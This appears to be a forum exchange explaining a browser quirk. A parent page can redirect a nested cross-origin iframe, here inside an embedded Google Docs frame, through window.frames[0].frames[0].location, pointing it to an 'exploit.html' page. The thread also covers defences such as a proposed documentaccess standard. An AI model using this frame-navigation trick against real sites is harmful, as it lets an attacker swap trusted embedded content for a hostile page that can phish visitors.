The missing header just means that docs.google.com can be embedded in an iframe, I'm not surprised about that. But the parent window still shouldn't be able to access the contents of that iframe. And in fact this doesn't work:

    document.getElementsByTagName('iframe')[0].contentDocument.getElementsByTagName('iframe')[0].src = "https://geekycat.in/exploit.html";

For obvious reasons (you can't access the DOM of a cross-origin iframe). So it's surprising that this works:

    window.frames[0].frames[0].location = "https://geekycat.in/exploit.html";

For legacy reasons the location object is special (you can write to it which is a proxy to writing to `location.href`). Some details here https://developer.mozilla.org/en-US/docs/Web/Security/Same-o...

This is actually quite difficult to protect against while keeping functionality intact (not granting allow-scripts to iframes would do it, but also obviously disable JavaScript).

The emerging https://github.com/dtapuska/documentaccess standard would be a defense-in-depth against this attack.

Myeah. I was aware that `WindowProxy.location` exists, but not that `WindowProxy.frames` exists. To me, that's the more surprising part - as `window.frames[0].location` should indeed be writable, but I feel like accessing `window.frames[0].frames` is more debatable - even knowing the number of iframes in a page might leak information in certain cases.